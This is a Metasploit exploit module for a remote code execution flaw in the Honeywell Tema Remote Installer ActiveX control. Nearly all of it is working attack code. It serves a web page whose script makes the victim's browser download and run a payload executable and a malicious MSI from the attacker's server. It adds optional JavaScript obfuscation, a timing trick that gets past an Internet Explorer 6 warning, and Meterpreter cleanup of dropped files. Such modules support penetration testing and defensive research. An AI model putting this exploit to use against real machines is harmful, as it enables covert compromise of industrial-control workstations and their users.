Honeywell Tema Remote Installer - ActiveX Remote Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Honeywell Tema Remote Installer ActiveX Remote Code Execution",
			'Description'    => %q{
					This modules exploits a vulnerability found in the Honewell Tema ActiveX Remote
				Installer.  This ActiveX control can be abused by using the DownloadFromURL()
				function to install an arbitrary MSI from a remote location without checking source
				authenticity or user notification. This module has been tested successfully with
				the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
				Internet Explorer 6, 7 and 8 on Windows XP SP3.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Billy Rios', # Vulnerability discovery
					'Terry McCorkle', # Vulnerability discovery
					'juan vazquez'  # Metasploit
				],
			'References'     =>
				[
					[ 'OSVDB', '76681' ],
					[ 'BID', '50078' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-285-01.pdf' ]
				],
			'Payload'        =>
				{
					'Space'    => 2048,
					'StackAdjustment' => -3500
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC'         => "none",
					'InitialAutoRunScript' => 'migrate -k -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# HoneyWell EBI R410.1 - TEMA 5.3.0
					# Tema_RemoteInstaller.ocx 1.0.0.0
					[ 'Automatic', {} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Oct 20 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)
	end

	def exploit
		@dropped_files = [
			'payload.exe',
			'ThinClient_TemaKit.msi',
			'ThinClient_TemaKit.log'
		]
		super
	end

	def on_new_session(session)
		if session.type == "meterpreter"
			session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
		end

		@dropped_files.each do |file|
			win_file = file.gsub("/", "\\\\")
			if session.type == "meterpreter"
				begin
					wintemp = session.fs.file.expand_path("%WINDIR%")
					win_file = "#{wintemp}\\Temp\\#{win_file}"
					# Meterpreter should do this automatically as part of
					# fs.file.rm().  Until that has been implemented, remove the
					# read-only flag with a command.
					session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
					session.fs.file.rm(win_file)
					print_good("Deleted #{file}")
					true
				rescue ::Rex::Post::Meterpreter::RequestError
					print_error("Failed to delete #{win_file}")
					false
				end

			end
		end

	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']

		# Windows 7 isn't normally supported because the user won't have write access to the
		# %WINDIR%/Temp directory, where the downloaded components are stored.
		if not (agent =~ /MSIE \d/ and agent =~ /NT 5\.1/) and agent !~ /Tema_RemoteInstaller/
			print_error("Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		# exec_payload.msi needs it to be named payload.exe
		# atm there isn't msi generation on the fly
		if request.uri =~ /payload\.exe$/
			return if ((p=regenerate_payload(cli))==nil)
			data = generate_payload_exe({:code=>p.encoded})
			print_status("Sending payload")
			send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
			return
		end

		if request.uri =~ /\.msi$/
			msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
			source = ::File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
			print_status("Sending msi")
			send_response(cli, source, {'Content-Type'=>'application/octet-stream'})
			return
		end

		if agent =~ /MSIE 6/
			# The 'setTimeout' trick allows to execute the installer on IE6 even if the user
			# doesn't click the warning popup when downloading the payload.
			# The ThinClient_TemaKit.msi installer name must be static.
			# <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
			js = <<-EOS
			var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
			setTimeout("obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');", 1000);
			obj.DownloadFromURL('#{get_uri}/payload.exe');
			EOS
		else
			js = <<-EOS
			var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
			obj.DownloadFromURL('#{get_uri}/payload.exe');
			obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');
			EOS
		end

		js.gsub!(/\t\t\t/, "")

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		html = <<-EOS
		<html>
		<body>
		</object>
		<script>
		#{js}
		</script>
		</body>
		</html>
		EOS

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end